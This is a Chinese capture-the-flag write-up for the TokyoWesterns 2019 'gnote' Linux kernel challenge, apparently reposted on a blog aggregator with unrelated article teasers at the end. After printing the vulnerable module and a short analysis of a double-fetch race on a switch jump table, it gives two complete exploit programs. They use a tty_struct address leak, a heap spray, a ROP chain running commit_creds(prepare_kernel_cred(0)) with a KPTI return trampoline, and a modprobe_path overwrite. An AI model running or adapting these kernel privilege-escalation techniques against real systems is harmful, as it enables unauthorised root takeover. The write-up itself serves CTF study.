0019-TIPS-2019-tokyowesterns-gnote : switch(jump) Doubule Fetch

news2025/1/16 20:15:57

漏洞源码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/uaccess.h>
#define MAX_NOTE 8

static DEFINE_MUTEX(lock);

struct note {
  unsigned long size;
  char *contents;
};

unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];


ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

struct file_operations gnote_proc = {
  .write    = gnote_write,
  .read    = gnote_read,
};

static int __init gnote_init(void)
{
  cnt=0;
  selected=-1;
  proc_create_data("gnote", 0666, NULL, &gnote_proc, NULL);
  printk("/proc/gnote created\n");
  return 0;
}
 
static void __exit
gnote_exit(void)
{
  remove_proc_entry("gnote", NULL);
  printk("unloading gnote\n");
}
 
module_init(gnote_init);
module_exit(gnote_exit);

漏洞分析

没有开启smap保护

首先看启动脚本和/proc/cpuinfo,没有看起smap保护

#!/bin/sh
cd /home/gnote
stty intr ^]
exec \
	timeout 120 \
	qemu-system-x86_64 \
	-m 64M \
	-kernel bzImage \
	-initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
	-nographic \
	-net user -net nic \
	-device e1000 -smp cores=2,threads=2 \
	-cpu kvm64,+smep \
	-monitor /dev/null 2>/dev/null
/ $ cat /proc/cpuinfo  | grep "smep"
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags		: fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
/ $ cat /proc/cpuinfo  | grep "smap"
/ $

漏洞分析

先看gnote_write的源码

ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
	[...]
	switch(*(unsigned int *)buf){
	[...]
	notes[cnt].size = *((unsigned int *)buf+1);
	[...]
	index = *((unsigned int *)buf+1);
}

在调用gnote_write时,buf指针指向的结构体类似于

struct write_struct{
	unsigned int sele_func;
	unsigned int num;
}

在这里插入图片描述

再看gnote_write的switch跳转表(首先需要知道syscall时,参数1~参数6是保存在 rdi,rsi,rdx,r10,r8,r9),rsi保存的是buf的地址

.text:0000000000000000                 public gnote_write
.text:0000000000000000 gnote_write     proc near               ; DATA XREF: .data:00000000000002D8↓o
.text:0000000000000000                 push    rbp
.text:0000000000000001                 mov     rdi, offset lock
.text:0000000000000008                 mov     rbp, rsp
.text:000000000000000B                 push    r12
.text:000000000000000D                 push    rbx
.text:000000000000000E                 mov     rbx, rsi				<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:0000000000000011                 mov     r12, rdx
.text:0000000000000014                 call    mutex_lock
.text:0000000000000019                 cmp     dword ptr [rbx], 5	<<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]			<<<<<<<<<<<<<<<<<<<<<<<<<<< 获取switch跳转索引
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]<<<<<<<<<<<<<<<<<<<<<<<<<<< 跳转表中case代码块地址
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

.rodata:0000000000000220 off_220         dq offset loc_6E        ; DATA XREF: gnote_write+20↑r
.rodata:0000000000000228                 dq offset loc_2D
.rodata:0000000000000230                 dq offset sub_A5
.rodata:0000000000000238                 dq offset sub_97
.rodata:0000000000000240                 dq offset sub_B3
.rodata:0000000000000248                 dq offset sub_82
.rodata:0000000000000248 _rodata         ends

在这里插入图片描述

简化为

[0] .text:000000000000000E                 mov     rbx, rsi				  <<<<<<<<<<<<
[1] .text:0000000000000019                 cmp     dword ptr [rbx], 5	  <<<<<<<<<<<< 
    .text:000000000000001C                 ja      short loc_6E
[2] .text:000000000000001E                 mov     eax, [rbx]			  <<<<<<<<<<<< 获取switch跳转索引
[3] .text:0000000000000020                 mov     rax, ds:off_220[rax*8] <<<<<<<<<<<< 跳转表中case代码块地址
[4] .text:0000000000000028                 jmp     __x86_indirect_thunk_rax

rsi为用户空间的地址buf,将用户空间buf的地址赋值给rbx
[1] 从用户空间获取内容sele_func,与5进行比较,检查sele_func的大小
[2] 再次从用户空间获取sele_func
[3] 从第二次获取的sele_func,获取跳转表中的地址

问题在于[1]、[2]都是从用户空间获取sele_func,这里有个问题,在[1]验证通过,在[2]执行之前,修改用户空间的sele_func,就有可能出现这样的问题
由于没有smap保护,再通过竞争sele_func,使得sele_func足够大,使得跳转表溢出到用户空间
在这里插入图片描述

漏洞利用

exp_kpti

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}

void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");   // 0xffffffffa0000000
    }
}

void shell()
{
    istriggered =1;
    system("/bin/sh");
}

void add_note(int fd, unsigned int size)
{
    struct data d;
    d.menu=1;
    d.arg=size;
    write(fd, (char *)&d, sizeof(struct data));
}

void select_note(int fd, unsigned int idx)
{
    struct data d;
    d.menu=5;
    d.arg = idx;
    write(fd, (char *)&d, sizeof(struct data));
}


int main()
{
    char buf[0x8000];
    struct data race_arg;
    pthread_t pthread;
    save_status();
    int fd;
    // Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);

    for (int i=0;i<50; i++)
        close(fds[i]);

    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);

    unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
    unsigned long commit_creds        = kernel_base + 0x69df0;
    unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
    unsigned long fake_cr4            = 0x407f0;
    unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;
    unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;
    unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; 
    unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; 
    unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; 
    unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; 
    unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    unsigned long kpti_ret            = kernel_base + 0x600a4a;

    // Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
    // Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = 0;
    rop_base[i++] = prepare_kernel_cred;
    rop_base[i++] = pop_rsi_ret;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = -1;
    rop_base[i++] = mov_rdi_rax_p_ret;
    rop_base[i++] = 0;
    rop_base[i++] = commit_creds;
               // bypass kpti
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = &shell;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

    // Step 4 : 开始竞争
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    
    pthread_join(pthread, NULL);
    return 0;
}


/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred

2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 


3.下断点
.text:0000000000000019                 cmp     dword ptr [rbx], 5
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

cat /sys/module/gnote/sections/.text

4.kpti_ret
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode

/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernel

gef➤  x /50i 0xffffffffbde00a34
   0xffffffffbde00a34:  pop    r15
   0xffffffffbde00a36:  pop    r14
   0xffffffffbde00a38:  pop    r13
   0xffffffffbde00a3a:  pop    r12
   0xffffffffbde00a3c:  pop    rbp
   0xffffffffbde00a3d:  pop    rbx
   0xffffffffbde00a3e:  pop    r11
   0xffffffffbde00a40:  pop    r10
   0xffffffffbde00a42:  pop    r9
   0xffffffffbde00a44:  pop    r8
   0xffffffffbde00a46:  pop    rax
   0xffffffffbde00a47:  pop    rcx
   0xffffffffbde00a48:  pop    rdx
   0xffffffffbde00a49:  pop    rsi
   0xffffffffbde00a4a:  mov    rdi,rsp                 <<<<<<<<<<<<<<<<<<<<<<
   0xffffffffbde00a4d:  mov    rsp,QWORD PTR gs:0x5004
   0xffffffffbde00a56:  push   QWORD PTR [rdi+0x30]
   0xffffffffbde00a59:  push   QWORD PTR [rdi+0x28]
   0xffffffffbde00a5c:  push   QWORD PTR [rdi+0x20]
   0xffffffffbde00a5f:  push   QWORD PTR [rdi+0x18]
   0xffffffffbde00a62:  push   QWORD PTR [rdi+0x10]
   0xffffffffbde00a65:  push   QWORD PTR [rdi]
   0xffffffffbde00a67:  push   rax
   0xffffffffbde00a68:  xchg   ax,ax
   0xffffffffbde00a6a:  mov    rdi,cr3
   0xffffffffbde00a6d:  jmp    0xffffffffbde00aa3
   0xffffffffbde00a6f:  mov    rax,rdi
   0xffffffffbde00a72:  and    rdi,0x7ff
   0xffffffffbde00a79:  bt     QWORD PTR gs:0x1d996,rdi
   0xffffffffbde00a83:  jae    0xffffffffbde00a94
   0xffffffffbde00a85:  btr    QWORD PTR gs:0x1d996,rdi
   0xffffffffbde00a8f:  mov    rdi,rax
   0xffffffffbde00a92:  jmp    0xffffffffbde00a9c
   0xffffffffbde00a94:  mov    rdi,rax
   0xffffffffbde00a97:  bts    rdi,0x3f
   0xffffffffbde00a9c:  or     rdi,0x800
   0xffffffffbde00aa3:  or     rdi,0x1000
   0xffffffffbde00aaa:  mov    cr3,rdi
   0xffffffffbde00aad:  pop    rax
   0xffffffffbde00aae:  pop    rdi
   0xffffffffbde00aaf:  swapgs 
   0xffffffffbde00ab2:  nop    DWORD PTR [rax]
   0xffffffffbde00ab5:  jmp    0xffffffffbde00ae0
   0xffffffffbde00aba:  nop

*/

exp_modpath

//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>

typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}
void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}
void something(){
    puts("[+] Congratulations! You get it!");
    system("/tmp/fake");
    system("cat /flag");
    exit(0);
}
void gen_test(){
    //system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chmod");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
    system("chmod +x /tmp/chmod.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
    system("chmod +x /tmp/fake");
}
void add_note(int fd, unsigned int size)
{
    struct data d;
    d.menu=1;
    d.arg=size;
    write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{
    struct data d;
    d.menu=5;
    d.arg = idx;
    write(fd, (char *)&d, sizeof(struct data));
}

int main()
{
    char buf[0x8000];
    struct data race_arg;
    pthread_t pthread;
    save_status();
    int fd;
    // Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    for (int i=0;i<50; i++)
        close(fds[i]);
    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);
    unsigned tty_base = (*(size_t *)(buf+7*8)) & 0xffffffffffffff00;

    unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
    unsigned long commit_creds        = kernel_base + 0x69df0;
    unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
    unsigned long fake_cr4            = 0x407f0;
    unsigned long xchg_eax_esp_ret    = kernel_base + 0x1992a;  //xchg eax, esp; ret;
    unsigned long pop_rdi_ret         = kernel_base + 0x1c20d;  //pop rdi; ret;
    unsigned long pop_rsi_ret         = kernel_base + 0x37799;  //pop rsi; ret; 
    unsigned long pop_rdx_ret         = kernel_base + 0xdd812;  //pop rdx; ret; 
    unsigned long swapgs_p_ret        = kernel_base + 0x3efc4;  //swapgs; pop rbp; ret; 
    unsigned long iretq_p_ret         = kernel_base + 0x1dd06;  //iretq; pop rbp; ret; 
    unsigned long mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    unsigned long kpti_ret            = kernel_base + 0x600a4a;
    unsigned long modprobe_path       = kernel_base + 0xC2C540;
    unsigned long memcpy_addr         = kernel_base + 0x58a100;

    // Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
    // Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    memcpy(mmap_base+0x1000, "/tmp/chmod.sh\0\n", 15);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = modprobe_path;
    rop_base[i++] = pop_rsi_ret;
    rop_base[i++] = mmap_base+0x1000;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = pop_rdx_ret;
    rop_base[i++] = 0x10;
    rop_base[i++] = memcpy_addr;
               // bypass kpti
    //rop_base[i++] = swapgs_p_ret;
    //rop_base[i++] = tty_base ;
    //rop_base[i++] = iretq_p_ret;
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = & something;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

    // Step 4 : 开始竞争
    gen_test();             // 生成/tmp/fake 和 /tmp/chmod 文件
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    pthread_join(pthread, NULL);
    getchar();
    return 0;
}


/*
1.kernel_base:
0x18:  0xffffffffba435360    -     ffffffffb9a00000   =   0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred

2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret; 
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret; 
0xffffffff810dd812: pop rdx; ret; 
0xffffffff8103efc4: swapgs; pop rbp; ret; 
0xffffffff8101dd06: iretq; pop rbp; ret; 
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 

ffffffffb758a100 W memcpy

modprobe_path = 0xffffffffb7c2bf60  -  0xffffffffb7000000
gef➤  x /10i 0xffffffffb706a7b0
   0xffffffffb706a7b0:  push   rbp
   0xffffffffb706a7b1:  mov    rdi,0xffffffffb7c2bf60
   0xffffffffb706a7b8:  mov    rbp,rsp
   0xffffffffb706a7bb:  push   rbx
   0xffffffffb706a7bc:  movzx  ebx,BYTE PTR [rip+0xd1ff1d]        # 0xffffffffb7d8a6e0
   0xffffffffb706a7c3:  call   0xffffffffb706a350

*/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/678517.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

chatgpt赋能python:Python绘制车辆轨迹图

Python绘制车辆轨迹图 在现代交通中&#xff0c;车辆轨迹图是一个广泛应用的技术&#xff0c;它可以被用于道路交通管理&#xff0c;行车安全评估等领域。Python是一种强大的编程语言&#xff0c;它提供了许多绘制数据可视化图表的库。本文将介绍如何使用Python和Matplotlib库…

10.事务消息

4.6 事务消息 4.6.1 流程分析 上图说明了事务消息的大致方案&#xff0c;其中分为两个流程&#xff1a;正常事务消息的发送及提交、事务消息的补偿流程。 1)事务消息发送及提交 (1) 发送消息(half消息)。 (2) 服务端响应消息写入结果。 (3) 根据发送结果执行本地事务(如果写入失…

Golang -> Go 语言快速开发入门

Go 语言快速开发入门 开发一个 hello.go 程序Golang 执行流程分析两种执行流程的方式区别:编译和运行说明 Go 程序开发的注意事项注释行注释多行注释 开发一个 hello.go 程序 package mainimport "fmt"func main() {fmt.Print("hello") }输出: hello对上图…

Cesium 入门

文章目录 一、了解 Cesium二、创建第一个 Cesium 地球三、案例1. Cesium 查看器、场景、实体、数据源介绍2. Cesium 的坐标与转换3. Cesium 相机系统方法一&#xff1a;setView方法二&#xff1a;flyTo方法三&#xff1a;lookAt方法四&#xff1a; viewBoundingSphere 四、案例…

【Leetcode60天带刷】day27回溯算法——39. 组合总和,40.组合总和II,131.分割回文串

​ 题目&#xff1a; 39. 组合总和 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一…

Redis 实战:逐步指南,让你轻松在 Linux 上安装与部署

目录 前言为什么会出现 Redis&#xff1f;磁盘、内存数据库缓存中间件 安装Redis5Redis6 使用总结 前言 Redis 中文网站&#xff1a;http://redis.cn/ Redis 是一个开源&#xff08;BSD 许可&#xff09;的&#xff0c;内存中的数据结构存储系统&#xff0c;它可以用作数据库…

【编译、链接、装载十二】动态链接2

【编译、链接、装载十二】动态链接2 四、延迟绑定&#xff08;PLT&#xff09;五、动态链接相关结构1 “.interp”段2 “.dynamic”段3 .动态符号表——dynsym、动态符号字符串表——.dynstr4、动态链接重定位表 六、动态链接的步骤和实现1、动态链接器自举2、装载共享对象3、重…

2.10 高性能异步IO机制:io_uring

一、io_uring的引入 为了方便说明io_uring的作用&#xff0c;先举一个通俗点的例子 1、通过异步提高读写的效率 假设有一批数量很大的货&#xff0c;需要分批次运到厂里处理。这个时候就有两种方式&#xff1a; 1&#xff09;同步方式&#xff1a;运送一批到厂里&#xff0c…

TypeScript ~ TS 掌握编译文件配置项 ④

作者 : SYFStrive 博客首页 : HomePage &#x1f4dc;&#xff1a; TypeScript ~ TS &#x1f4cc;&#xff1a;个人社区&#xff08;欢迎大佬们加入&#xff09; &#x1f449;&#xff1a;社区链接&#x1f517; &#x1f4cc;&#xff1a;觉得文章不错可以点点关注 &…

初识EasyX图形库

EasyX图形库 1. EasyX是什么&#xff1f;2. 入手EasyX3. EasyX函数介绍创建和关闭绘图窗口操作initgraphclosegraph 设置绘图背景setbkcolorcleardevice 画图形circlefillcirclerectanglefillrectangle 图形颜色及样式设置setfillcolorsetlinecolorsetbkcolorsetbkmodesetlines…

计算物理专题:有限差分法解决本征值问题

计算物理专题&#xff1a;有限差分法解决本征值问题 定态薛定谔方程差分形式 一维定态薛定谔方程 谐振子 解法代码 import numpy as np def householder(symmetric_matrix):M symmetric_matrixassert np.allclose(M,M.T),"matrix is not symmetric"N len(M)for …

chatgpt赋能python:用Python分析电影评分数据

用Python分析电影评分数据 Python是一种流行的数据分析和可视化工具&#xff0c;它可以让我们更深入地了解电影的评分数据。在本文中&#xff0c;我们将使用Python来分析一些电影评分数据&#xff0c;并试图找出一些有趣的模式和趋势。 数据来源 我们将使用公共数据集IMDb电…

第4章 网络层

1‌、下列关于路由算法描述错误的是&#xff08; &#xff09; A. 链路状态算法是一种全局路由算法&#xff0c;每个路由器需要维护全局状态信息B. OSPF 是一种域内路由协议&#xff0c;核心是基于 Dijkstra 最低费用路径算法C. RIP 是一种域内路由算法&#xff0c;核心是基…

采用SqlSugar的DBFirst相关功能创建数据库表对应的实体类

.NET Core官方教程中推荐使用的EF Core数据库ORM框架虽然能用&#xff0c;但是用起来并不是太方便&#xff08;或者是不习惯&#xff0c;之前用的最多的还是linq&#xff09;。之前下载的开源博客项目中使用的SqlSugar&#xff0c;后者是由果糖大数据科技团队维护和更新 &#…

基于WebAssembly构建Web端音视频通话引擎

Web技术在发展&#xff0c;音视频通话需求在演进&#xff0c;怎么去实现新的Web技术点在实际应用中的值&#xff0c;以及给我们带来更大的收益是需要我们去探索和实践的。LiveVideoStackCon 2022北京站邀请到田建华为我们从实践中来介绍WebAssembly、WebCodecs、WebTransport等…

【裸机开发】IRQ 中断服务函数(一) —— 汇编初始化

IRQ 和前面的Reset 函数不大一样&#xff0c;当一个IRQ中断产生时&#xff0c;我们也不知道这个IRQ中断来自哪个外设&#xff0c;因此&#xff0c;需要先获取到中断ID&#xff0c;随后才会跳转到真正的中断服务函数执行处理逻辑。 整个 IRQ 中断处理可以看做是包含了两个部分&…

MySQL 自增主键一定是连续的吗?

众所周知&#xff0c;自增主键可以让聚集索引尽量地保持递增顺序插入&#xff0c;避免了随机查询&#xff0c;从而提高了查询效率 但实际上&#xff0c;MySQL 的自增主键并不能保证一定是连续递增的。 下面举个例子来看下&#xff0c;如下所示创建一张表&#xff1a; 自增值保…

ORCA优化器浅析——GP数据库调用优化器流程

首先我们需要看CGPOptimizer类(src/include/gpopt/CGPOptimizer.h)为Greenplum数据库提供ORCA优化器export出来的函数的封装。Greenplum数据库主流程调用extern "C"中提供的函数&#xff0c;比如初始化ORCA优化器的函数InitGPOPT&#xff0c;优化查询树的函数GPOPTOp…

springboot+jsp农产品商城宣传网站设计与实现oo6e3

在该在线助农系统设计与实现中&#xff0c;idea能给用户提供更多的方便&#xff0c;其特点一是方便学习&#xff0c;方便快捷&#xff1b;二是有非常大的信息储存量&#xff0c;主要功能是用在对数据库中查询和编程。其功能有比较灵活的数据应用&#xff0c;只需利用小部分代码…

【Leetcode60天带刷】day30回溯算法——332.重新安排行程 , 51. N皇后 ,37. 解数独

​ 题目&#xff1a; 332. 重新安排行程 给你一份航线列表 tickets &#xff0c;其中 tickets[i] [fromi, toi] 表示飞机出发和降落的机场地点。请你对该行程进行重新规划排序。 所有这些机票都属于一个从 JFK&#xff08;肯尼迪国际机场&#xff09;出发的先生&#xff0c;…